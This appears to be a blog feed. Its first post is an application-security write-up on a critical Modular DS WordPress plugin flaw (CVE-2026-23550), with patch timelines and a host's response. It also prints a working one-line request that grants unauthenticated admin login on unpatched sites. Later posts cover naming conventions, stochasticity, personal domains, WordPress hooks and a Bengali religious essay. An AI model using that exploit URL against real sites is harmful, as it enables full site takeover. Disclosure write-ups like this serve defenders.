Application Security, we often talk about &quot;critical&quot; vulnerabilities, but few scenarios are as high-stakes as an &lt;strong&gt;&lt;a href=&quot;https://patchstack.com/database/wordpress/plugin/modular-connector/vulnerability/wordpress-modular-ds-monitor-update-and-backup-multiple-websites-plugin-2-5-1-privilege-escalation-vulnerability&quot;&gt;unauthenticated privilege escalation with a CVSS score of 10.0&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;On January 14, 2026, the WordPress community was hit with a major zero-day: &lt;strong&gt;CVE-2026-23550&lt;/strong&gt;. This vulnerability affects the &lt;a href=&quot;https://wordpress.org/plugins/modular-connector/&quot;&gt;&lt;strong&gt;Modular DS (Modular Connector)&lt;/strong&gt; plugin&lt;/a&gt;—a tool used to monitor and backup multiple websites—up to version 2.5.1.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Modular DS has already remediated the issue where the internal routing system used overly permissive path matching. Under certain conditions, this could have allowed unauthenticated attackers to bypass authentication checks and gain elevated privileges on WordPress sites running the plugin.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As an Application Security Engineer, I want to break down exactly what happened, how we handled it at xCloud, and the steps I took to protect the wider community.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Modular DS has published their security advisory for this incident. I highly recommend you to go through this if your site had this plugin installed. Advisory: &lt;a href=&quot;https://help.modulards.com/en/article/modular-ds-security-release-modular-connector-252-dm3mv0/&quot;&gt;https://help.modulards.com/en/article/modular-ds-security-release-modular-connector-252-dm3mv0/&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;What is CVE-2026-23550?&lt;/h2&gt;
&lt;p&gt;The vulnerability is classified under &lt;strong&gt;OWASP A7: Identification and Authentication Failures&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Because it is unauthenticated, a malicious actor does not need a login or any special permissions to exploit it. They can effectively escalate their privileges to an administrator level, gaining full control over the website.&lt;/p&gt;
&lt;p&gt;All you need is the site URL, like &lt;code&gt;example.com&lt;/code&gt; 🧨&lt;/p&gt;
&lt;p&gt;Here is the timeline of the vulnerability provided by Modular DS:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;January 14, 2026, 02:04 PM GMT+6: Vulnerability reported by Patchstack&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;January 14, 2026, 02:30 PM GMT+6: Security advisory published&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;January 14, 2026, 03:26 PM GMT+6: Version 2.5.2 released&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;January 14, 2026, 04:28 PM GMT+6: Patchstack confirmed the vulnerability has been resolved&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;The xCloud Response: 31 Minutes to Safety&lt;/h2&gt;
&lt;p&gt;At &lt;a href=&quot;https://xcloud.host/&quot;&gt;xCloud&lt;/a&gt;, we treat the security of our users&apos; digital assets as an &lt;strong&gt;&lt;em&gt;Amanah&lt;/em&gt;&lt;/strong&gt; (a sacred trust). Our monitoring systems picked up the Patchstack alert immediately.&lt;/p&gt;
&lt;p&gt;Here is the timeline of how our team neutralized the threat:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;03:04 PM:&lt;/strong&gt; Initial zero-day notification received via &lt;a href=&quot;https://patchstack.com/database/wordpress/plugin/modular-connector/vulnerability/wordpress-modular-ds-monitor-update-and-backup-multiple-websites-plugin-2-5-1-privilege-escalation-vulnerability&quot;&gt;Patchstack&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;03:17 PM:&lt;/strong&gt; Automated scan identified all vulnerable sites across the xCloud infrastructure.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;03:26 PM:&lt;/strong&gt; Plugin vendor (Modular DS) released the official fix (v2.5.2).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;03:32 PM:&lt;/strong&gt; I developed and verified a working Proof of Concept (PoC) to understand the exploit vector.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;03:35 PM:&lt;/strong&gt; The patch was tested, validated, and the rollout began.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Within a short window, every vulnerable site on our platform was force-updated to 2.5.2, and users were notified. This rapid-fire response is the difference between a normal day and a catastrophic data breach.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Link to the patch: &lt;a href=&quot;https://plugins.trac.wordpress.org/changeset?sfp_email=&amp;amp;sfph_mail=&amp;amp;reponame=&amp;amp;new=3439329%40modular-connector&amp;amp;old=3427956%40modular-connector&amp;amp;sfp_email=&amp;amp;sfph_mail=&quot;&gt;https://plugins.trac.wordpress.org/changeset?sfp_email=&amp;amp;sfph_mail=&amp;amp;reponame=&amp;amp;new=3439329%40modular-connector&amp;amp;old=3427956%40modular-connector&amp;amp;sfp_email=&amp;amp;sfph_mail=&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;The PoC&lt;/h2&gt;
&lt;p&gt;For now, I will not publish the PoC for CVE-2026-23550, as it is still being actively exploited. I may publish it later after most sites have been updated to the patched version.&lt;/p&gt;
&lt;p&gt;Step 01: In your WordPress installation, installed and activate the plugin version 2.5.1&lt;/p&gt;
&lt;p&gt;Step 02: Connect your site to their management portal (&lt;a href=&quot;https://app.modulards.com/&quot;&gt;https://app.modulards.com/&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;Step 03: As an unauthenticated user, simply visit this URL: &lt;code&gt;https://example.com/api/modular-connector/login/anything?origin=mo&amp;amp;type=foo&lt;/code&gt; and you will be automatically logged in as an admin.&lt;/p&gt;
&lt;h2&gt;Final Thoughts&lt;/h2&gt;
&lt;p&gt;Vulnerabilities like CVE-2026-23550 remind us that the web is a fragile place. Stay safe, stay patched, and may your systems remain secure.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Action Required:&lt;/strong&gt; If you use Modular DS, ensure you are on &lt;strong&gt;version 2.5.2 or later&lt;/strong&gt;. If you aren&apos;t sure, check your dashboard now.&lt;/p&gt;
</content:encoded><atom:updated>2026-01-14T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>How Much Can Your Kid Earn? Financial Lessons for Parents</title><link>https://hurayraiit.com/blog/how-much-does-your-kid-earn-per-month/</link><guid isPermaLink="true">https://hurayraiit.com/blog/how-much-does-your-kid-earn-per-month/</guid><description>আপনার শিশু সন্তান কি আসলেই ইনকাম করে? রিজিক ও পরিবারে বারকাহর গভীর সংযোগ নিয়ে শিবলী মেহদির একটি অনুপ্রেরণামূলক ও চিন্তাশীল লেখা।</description><pubDate>Wed, 14 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;The following content was published by &lt;a href=&quot;https://www.facebook.com/shiblee.mehdi&quot;&gt;RM Shiblee Mehdi&lt;/a&gt; vaiya as a &lt;a href=&quot;https://www.facebook.com/notes/800298820801258/&quot;&gt;Facebook note&lt;/a&gt; on July 08, 2015.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;পাঠক, সোজা সাপটা বলেন তো, আপনার শিশু সন্তান মাসে কতো টাকা ইনকাম করে, তার per month income কতো, সেটা কি হিসাব করেছেন?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;বলেন কি শিবলী ভাই! আমাদের শিশু সন্তানরা কামাই করবে কিভাবে? Are you sure you are talking about our kids?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;জ্বী, আমি আপনার শিশু সন্তানের কথাই বলছি।&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;না ভাই আমার শিশু সন্তান তো income করে না। শিবলী ভাই, তবে কি আপনার মেয়ে-দুটো বিজ্ঞাপনে চান্স পেয়েছে? প্রতি মাসে ওদের ইনকাম কতো?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;না ভাই, ওরা বিজ্ঞাপনে চান্স পায়নি। ওরা আর ১০টি সাধারণ শিশুর মতই ঘুমায়, খায়, খেলে, স্কুলে যায় কিন্তু তারপরেও অনেক ইনকাম করে দুজনে। আর ওদের এই ইনকামের বরকতে আমাদের পরিবারটিও সচ্ছল, আল্‌হাম্‌দুলিল্লাহ্‌।&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ফূলটাইম চাকরি শুরু করি ১৯৯৯ ইং সন থেকে। বেতন ৬ হাজার টাকা, ছয় মাস পর ৮ হাজার হয়। ১ বছরের দিকে আরেকটা চাকরি হয়। বেতন এক ধাক্কায় সোজা ২২ হাজার টাকা। কিন্তু একটা অদ্ভুত অনুভূতি আল্লাহ্‌ দিলেন আমার ভেতর। তখন আমি মাত্র ১ বছরের অভিজ্ঞ, তার উপর এমন প্রোফেশনে ছিলাম যা তখন বাংলাদেশেই একদম নতুন। তাতেই ৮ হতে সোজা ২২ হাজার হবার প্রশ্নই আসে না! আমার চিন্তায় আসে যে, ঠিক যেই মাসে আমি এই চাকরি পাই, তার আগের মাসেই আব্বুর চাকরি চলে যায়। আমার অনুভূতি হয় যে, নতুন একটা লাইনে মাত্র ১ বছরের অভিজ্ঞ হওয়া স্বত্বেও ৮ হাজার থেকে ২২ হাজার টাকার বেতন পাবার যোগ্যতা আসলে আমার নেই। বরং পরিবারের একটা ইনকাম সোর্স আপাতত বন্ধ হয়েছে বলেই আল্লাহ্‌ আমার মাধ্যমে সেই কমতি কিছুটা পূরণ করাবার জন্যই হঠাৎ এমন বেতনে বৃদ্ধি করলেন। আর এই অনুভূতি আসার সাথে সাথে প্রথম মাস থেকেই সামান্য কিছু হাতখরচ রেখে বাকি টাকা আম্মিকে দিয়ে দিতাম। এভাবে প্রায় ১৪ মাস পরে আব্বু আবার চাকরি পান। আম্মিও আমার কাছ থেকে টাকা নেয়া বন্ধ করে দিলেন। বলেছিলেন, &quot;সঞ্চয় করো।&quot;&lt;/p&gt;
&lt;p&gt;সঞ্চয় করতে করতে বিয়ের সময় হয়ে যায়। সম্পূর্ণ নিজ খরচে বিয়ে করার ইচ্ছে ছিলো। ইচ্ছেটা এতোটাই স্পষ্ট করে আল্লাহ্‌ পূরণ করবেন বিশ্বাস করতে পারছিলাম না। বলতে গেলে সমস্ত সঞ্চয় শেষ হয় আমার বিয়েতে। কি অবাক! ঠিক পরের মাসেই ছিলো performance increment-এর সময়। বেশ ভালো একটা রেইজ পেলাম। আবার আল্লাহ্‌  অনুভূতি দিলেন যে, যেহেতু বিয়ে করেছি নিজের হালাল উপার্জন দিয়ে, আমার বউ এর রিজিকটা আমার ইনকামে যুক্ত হয়ে বেড়ে গেলো। শুধু তাই নয়, কিছু মাস পরে আবার নতুন একটা চাকরী পেলাম, মানে বেতন আরো একটু বাড়ল, আল্‌হাম্‌দুলিল্লাহ্‌।&lt;/p&gt;
&lt;p&gt;নতুন এই কোম্পানিতে থাকা অবস্থায় আল্লাহ্‌ আমাদেরকে যমজ দুটি মেয়ে উপহার দিলেন। চারজনের সংসার শুরু হয়ে যায়। ওদের দুজনের ওজন কম ছিলো, নানা রকমের অসুস্থতা লেগেই থাকতো। সম্ভবত গড়ে প্রতি ২ সপ্তাহে ডক্টর ভিজিট করতেই হতো দু&apos;জনকে নিয়েই। ডবল ডক্টর ভিজিট, ডবল ঔষধ, ডবল ডায়পার, ডবল কৌটার দুধ (বুকের দুধ পায়নি) ছিলো নিয়মিত খরচ। কিন্তু বিন্দুমাত্র বিচলিত ছিলাম না। কি অদ্ভুত যে, এবার চাকরি খুঁজিনি। বরং চাকরিই খুঁজে নেয় আমাদের চারজনকে, আল্‌হাম্‌দুলিল্লাহ্‌। খুব মনে আছে, সকাল সকাল বাচ্চা-দুটোকে নিয়ে হাসপাতালের টিকেট কেটে অপেক্ষা করছিলাম। একজন মেয়ে আমার কোলে, আরেকজন বউয়ের কোলে। ফোন আসে, আমার এক্স-কলিগ চাকরীর খবর দেন। বেতনটাও আনুমানিক জানালেন। কি আশ্চর্য, মেডিকেল বেনিফিটও আছে! তাও আবার শুধু আমার একার জন্য নয়, পুরো পরিবারের জন্য মেডিকেল বেনিফিট! আমিতো মহা খুশী, আল্‌হাম্‌দুলিল্লাহ্‌। বাচ্চা জন্মের সপ্তম মাসেই নুতন চাকরিতে join করি। আবার অনুভূতি পাই, নতুন চাকরি, মেডিকেল বেনিফিট আমার যোগ্যতায় নয়। বরং আমার মেয়ে দুটোর রিযিক আল্লাহ্‌ আমার বেতনে যুক্ত করেছেন।&lt;/p&gt;
&lt;p&gt;আমি আজও মনে করি আল্লাহ্‌ আমাকে যেই কর্ম দক্ষতা দিয়েছেন তার বাজার মূল্য ৬ থেকে ৮ হাজার টাকাই মাত্র। বাকি একটি অংশ আমার মা-বাবার জন্য বরাদ্ধ, আরেকটা অংশ আমার স্ত্রীর জন্য বরাদ্ধ, আরেকটা বড় অংশ আমার মেয়ে-দুটোর জন্য। হিসাব করে দেখলাম, আমার ইনকামের বড় একটা অংশ আসে আমার মেয়ে-দুটোর রিজিক হতে। ওদিকে আল্লাহ্‌ ওয়াদা করে রেখেছেন:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;“তোমাদের সন্তানদের দারিদ্র্যের আশংকায় হত্যা করো না। আমিই তাদেরকে রিযিক দেই এবং তোমাদেরকেও। (১৭:৩১)”
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;আমার এই লেখটা সেই সকল মুসলিম বাবাদের অন্তরে ও চিন্তায় আঘাত করার জন্য:&lt;/p&gt;
&lt;p&gt;যারা মনে করছেন তার বৃদ্ধা মা, অবসর নেয়া বাবা আর স্ত্রী-সন্তানরা শুধু বসে বসে তার কামাই খায় আর তিনি একাই সম্পূর্ন নিজ যোগ্যতায় সকলের জন্য প্রচুর পরিশ্রম করে উপার্জন করছেন।&lt;/p&gt;
&lt;p&gt;এই আশাতেও জীবনের এই সত্য ঘটনাটি লিখলাম সেই সকল মুসলিম মা-বাবাদেরকে রিযিকের বিশ্বাস দেবার জন্য:&lt;/p&gt;
&lt;p&gt;যারা কন্যা সন্তান হবার সম্ভাবনা দেখলে বা পছন্দ মতো সন্তান না হবার সম্ভাবনা জানতে পারলেই গর্ভের সন্তান হত্যা করেন বা করার সিদ্ধান্ত নিয়েছেন।&lt;/p&gt;
&lt;p&gt;মাত্র কদিন আগে (২৯-জুন-২০১৫) আমার মেয়ে হঠাৎ নিজে থেকেই জানতে চাইল &quot;আব্বু, যেই মা-বাবারা তাদের বাচ্চাকে জন্মের আগেই পেটের মধ্যে মেরে ফেলে, তারা কেনো মেরে ফেলে?&quot; মেয়ের সাথে বিভিন্ন কারণ আলোচনা করতে করতে প্রায় ৩ বছর আগে ড্রাফট করে রাখা আমার এই লিখাটার কথা মনে পড়ায় আজ পাবলিশ করলাম।&lt;/p&gt;
&lt;p&gt;শুরু হয়ে গেছে লাইলাতুল ক্কদর সন্ধানের সময়। যেই সকল মা-বাবারা গর্ভের সন্তান হত্যা করার মতো এতো বড় গুনাহের কাজ করে ফেলেছেন (হতে পারে একাধিক সন্তান হত্যাও করেছেন), তওবা করে ক্ষমা চান আল্লাহ্‌র কাছে, কেঁদে কেঁদে ক্ষমা চান। যারা তাদের কন্যা সন্তানদের সব সময় অবহেলা করছেন, তাদের জন্য কখনই উত্তমভাবে খরচ করেন নাই, তারাও আজ হতে ক্ষমা চাওয়া শুরু করে দিন। যেই সকল বাবারা এটা মনে করতেন যে, তাদের বৃদ্ধ মা-বাবা, স্ত্রী-সন্তানরা শুধু বসে বসে খায় আর তার নিজ যোগ্যতায় একাই কষ্ট করে ইনকাম করতেন বলে তাদের সাথে নিকৃষ্ট আচরণ করেছেন, তুচ্ছ-তাচ্ছিল্য করে কথা বলেছেন, তারাও মা-বাবার কাছে পরিবারের কাছে ক্ষমা চেয়ে ফাইনালি আল্লাহ্‌র কাছে ক্ষমা চাওয়া শুরু করে দিন। ইন্‌শাআল্লহ্‌ তিনি ক্ষমা করবেন।&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;©️ image source: darussalam publishers&lt;/p&gt;
</content:encoded><atom:updated>2026-01-14T00:00:00.000Z</atom:updated><category>islam</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>A Tester&apos;s Guide to Letter Cases</title><link>https://hurayraiit.com/blog/a-testers-guide-to-letter-cases/</link><guid isPermaLink="true">https://hurayraiit.com/blog/a-testers-guide-to-letter-cases/</guid><description>A practical guide to letter cases for testers and developers — camelCase, PascalCase, snake_case, kebab-case, and more, explained with clear examples.</description><pubDate>Tue, 13 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;The following quote is quite popular in programming:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;There are 2 hard problems in computer science: cache invalidation, naming things, and off-by-1 errors.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If you are reading this article, most probably you are already familiar with the concept of &lt;a href=&quot;https://en.wikipedia.org/wiki/Naming_convention_(programming)&quot;&gt;naming conventions&lt;/a&gt; in programming. If not, there are a lot of helpful articles and YouTube videos on the topic. I recommend this &lt;a href=&quot;https://www.freecodecamp.org/news/snake-case-vs-camel-case-vs-pascal-case-vs-kebab-case-whats-the-difference/&quot;&gt;freecodecamp article&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The purpose of this article is not to re-introduce the topic of naming conventions, but rather to help you memorize what the most common ones are with examples and fancy names.&lt;/p&gt;
&lt;p&gt;Let&apos;s see the most common letter cases used in programming with examples:&lt;/p&gt;
&lt;h2&gt;camelCase (aka Lower Camel Case)&lt;/h2&gt;
&lt;p&gt;In this format, the first word is lowercase, and each subsequent word starts with a capital letter.&lt;/p&gt;
&lt;p&gt;These are mostly used in JavaScript, Java, and TypeScript for variable and function names.&lt;/p&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;isUserLoggedIn
&lt;/code&gt;&lt;/pre&gt;
&lt;figure&gt;
&lt;p&gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;Example Code For Camel Case.&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h2&gt;PascalCase (aka Upper Camel Case)&lt;/h2&gt;
&lt;p&gt;Every word, including the first one, starts with a capital letter.&lt;/p&gt;
&lt;p&gt;Class names in almost all languages (Java, Python, C#) and React components use this naming convention.&lt;/p&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;UserProfileComponent
&lt;/code&gt;&lt;/pre&gt;
&lt;figure&gt;
&lt;p&gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;Example Code For Pascal Case.&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h2&gt;snake_case&lt;/h2&gt;
&lt;p&gt;Words are written in lowercase and separated by an underscore ( &lt;code&gt;_&lt;/code&gt; ).&lt;/p&gt;
&lt;p&gt;Used in Python (variables and functions), Ruby, and Database column names (SQL).&lt;/p&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;created_at
&lt;/code&gt;&lt;/pre&gt;
&lt;figure&gt;
&lt;p&gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;Example Code For Snake Case.&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h2&gt;SCREAMING_SNAKE_CASE&lt;/h2&gt;
&lt;p&gt;Like snake case, but all letters are uppercase.&lt;/p&gt;
&lt;p&gt;These are used in Constants that are not meant to be changed throughout the program.&lt;/p&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;MAX_RETRY_ATTEMPTS
&lt;/code&gt;&lt;/pre&gt;
&lt;figure&gt;
&lt;p&gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;Example Code For Screaming Snake Case.&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h2&gt;kebab-case (aka Train Case / Spinal Case)&lt;/h2&gt;
&lt;p&gt;Words are written in lowercase and separated by a hyphen ( &lt;code&gt;-&lt;/code&gt; ).&lt;/p&gt;
&lt;p&gt;You may find these in URL slugs, CSS class names, and HTML attributes.&lt;/p&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;main-header-style
&lt;/code&gt;&lt;/pre&gt;
&lt;figure&gt;
&lt;p&gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;Example Code For Kebab Case.&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h2&gt;flatcase&lt;/h2&gt;
&lt;p&gt;All words are lowercase and joined without any spaces or separators.&lt;/p&gt;
&lt;p&gt;Package names in Java or some low-level system configurations might have these.&lt;/p&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;userauthentication
&lt;/code&gt;&lt;/pre&gt;
&lt;figure&gt;
&lt;p&gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;Example Code For Flat Case.&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Don&apos;t let the jargon intimidate you. These naming conventions are just tools to keep things organized. Once you recognize the patterns—the camel humps, the snakes, and the kebabs— navigating codebases, databases, and API specs becomes second nature.&lt;/p&gt;
</content:encoded><atom:updated>2026-01-13T00:00:00.000Z</atom:updated><category>sqa</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>What Is Stochasticity? A Plain-English Explanation</title><link>https://hurayraiit.com/blog/what-is-stochasticity/</link><guid isPermaLink="true">https://hurayraiit.com/blog/what-is-stochasticity/</guid><description>What is stochasticity? Understand controlled randomness in software, how it differs from pure randomness, and why it matters for test automation and security.</description><pubDate>Mon, 12 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In the world of software engineering, automation, and security, we often strive for &lt;strong&gt;determinism&lt;/strong&gt;. We want to know that if we input &quot;A,&quot; we will always get &quot;B.&quot; However, the real world—and complex computing environments—rarely plays by those rules. This is where &lt;strong&gt;stochasticity&lt;/strong&gt; comes in.&lt;/p&gt;
&lt;h3&gt;Defining the Term&lt;/h3&gt;
&lt;p&gt;At its core, &lt;strong&gt;stochasticity&lt;/strong&gt; refers to the quality of being determined by a random probability distribution. While a &quot;deterministic&quot; system will always produce the same output from a given starting condition, a &quot;stochastic&quot; system involves an element of chance.1&lt;/p&gt;
&lt;p&gt;You can think of it as &lt;strong&gt;&quot;controlled randomness.&quot;&lt;/strong&gt; It isn&apos;t total chaos; rather, it is a process where the next state of the environment is partially determined by the previous state and partially by a random variable.&lt;/p&gt;
&lt;h3&gt;Stochastic vs. Random: What’s the Difference?&lt;/h3&gt;
&lt;p&gt;While people often use these terms interchangeably, there is a subtle distinction:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Randomness:&lt;/strong&gt; Usually refers to a lack of pattern or predictability (like a single coin flip).2&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Stochasticity:&lt;/strong&gt; Refers to a process or system that evolves over time involving random variables. It’s about the &lt;em&gt;sequence&lt;/em&gt; and the &lt;em&gt;probabilities&lt;/em&gt; governing that sequence.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Why It Matters for Technical Professionals&lt;/h3&gt;
&lt;p&gt;As you move from a beginner to a mid-level professional, understanding stochasticity helps you build more resilient systems. Here are three areas where it shows up:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Load Testing &amp;amp; Performance:&lt;/strong&gt; Traffic hits a server stochastically. Users don&apos;t arrive in perfect 1-second intervals; they arrive in clusters. Understanding this helps you model realistic stress tests.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Artificial Intelligence:&lt;/strong&gt; Modern AI and Machine Learning models are inherently stochastic. They don&apos;t just &quot;calculate&quot; an answer; they predict the most probable outcome based on massive datasets.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Cybersecurity:&lt;/strong&gt; In security, we use stochastic processes to model threat actor behavior or to generate cryptographic keys that are unpredictable enough to resist brute-force attacks.3&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Embracing the Uncertainty&lt;/h3&gt;
&lt;p&gt;For many engineers, stochasticity feels like a &quot;bug.&quot; We call it &lt;strong&gt;flakiness&lt;/strong&gt; in automated tests or &lt;strong&gt;jitter&lt;/strong&gt; in network latency. But once you stop fighting it and start modeling it, you can build better software.&lt;/p&gt;
&lt;p&gt;Instead of asking, &lt;em&gt;&quot;Why didn&apos;t this happen exactly the same way?&quot;&lt;/em&gt; we begin to ask, &lt;em&gt;&quot;What is the probability of this failing, and how do we handle that margin of error?&quot;&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;p&gt;[1] &lt;a href=&quot;https://www.symphonyai.com/glossary/ai/deterministic-model/&quot;&gt;https://www.symphonyai.com/glossary/ai/deterministic-model/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;[2] &lt;a href=&quot;https://en.wikipedia.org/wiki/Randomness&quot;&gt;https://en.wikipedia.org/wiki/Randomness&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;[3] &lt;a href=&quot;https://www.researchgate.net/publication/257582206_A_stochastic_model_of_attack_process_for_the_evaluation_of_security_metrics&quot;&gt;https://www.researchgate.net/publication/257582206_A_stochastic_model_of_attack_process_for_the_evaluation_of_security_metrics&lt;/a&gt;&lt;/p&gt;
</content:encoded><atom:updated>2026-01-12T00:00:00.000Z</atom:updated><category>sqa</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>Personal Domain as Digital Ownership: Why It Matters</title><link>https://hurayraiit.com/blog/a-personal-domain-is-digital-ownership/</link><guid isPermaLink="true">https://hurayraiit.com/blog/a-personal-domain-is-digital-ownership/</guid><description>A personal domain is more than a website — it&apos;s digital ownership, professional credibility, and flexibility that no social platform can give you.</description><pubDate>Sun, 11 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Owning your own domain is a small decision that does not cost much, but it pays off for years. Owning your own domain is not about building a super flashy website and becoming a brand. It&apos;s about having a &quot;digital real estate&quot;, a piece of land on the internet that is yours.&lt;/p&gt;
&lt;p&gt;Most of us use facebook, linkedin, x, etc and our online presence is a link to a website like &lt;code&gt;facebook.com/smrahman298&lt;/code&gt;. But these platforms are not truly under our control. These are living on a rented land. Their algorithms can bury your portfolio, your account may get suspended, your voice/opinions may get banned and sometimes entire platforms may disappear. But your personal domain gives you something that you own.&lt;/p&gt;
&lt;p&gt;For technical professionals, this ownership has practical value almost immediately. A domain lets you create a professional email address that looks credible and stays with you as you change roles or companies. It also becomes a single, clean link you can point people to, whether that’s your resume today, your blog next year, or your consulting site later on. You decide what lives there and when it changes.&lt;/p&gt;
&lt;p&gt;There’s also a mindset shift that comes with owning a domain. When you have your own address on the internet, you start thinking long-term. You’re more likely to document what you learn, write about projects, or experiment with ideas without worrying about platform limits. Even a simple landing page with your name and links is enough to start building that habit.&lt;/p&gt;
&lt;p&gt;Another underrated benefit is flexibility. Your domain doesn’t care if you switch tech stacks, move from engineering to management, or explore side projects. What starts as a basic profile page can evolve into a blog, a lab for experiments, or a business site. You’re not locked into someone else’s template or monetization strategy.&lt;/p&gt;
&lt;p&gt;Finally, domains are inexpensive compared to their value. For a small cost per year, you get permanence, control, and credibility. You don’t need to “do something big” with it right away. Just owning it is the point. Think of it like buying land, you don’t need to build a skyscraper on day one for it to be worth having.&lt;/p&gt;
&lt;p&gt;In a world where digital identities are increasingly fragmented and platform-dependent, a personal domain is one of the simplest ways to reclaim ownership. It’s your name, your space, and your rules.&lt;/p&gt;
</content:encoded><atom:updated>2026-01-11T00:00:00.000Z</atom:updated><category>productivity</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>WordPress Action and Filter Hooks: A Developer&apos;s Guide</title><link>https://hurayraiit.com/blog/understanding-wordpress-action-and-filter-hooks/</link><guid isPermaLink="true">https://hurayraiit.com/blog/understanding-wordpress-action-and-filter-hooks/</guid><description>A clear, practical guide to WordPress action and filter hooks — understand how add_action() and add_filter() work with PHP examples for plugin and theme dev.</description><pubDate>Sat, 10 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Think of WordPress as a giant, intricate machine with thousands of pre-built &quot;slots&quot; or plug-in points. These slots are what we call &lt;strong&gt;Hooks&lt;/strong&gt;. They allow you to reach into the WordPress core, or even other plugins and themes, to add your own functionality or change how things behave without ever editing the core files. This is the golden rule of WordPress development: never touch the core, always use a hook.&lt;/p&gt;
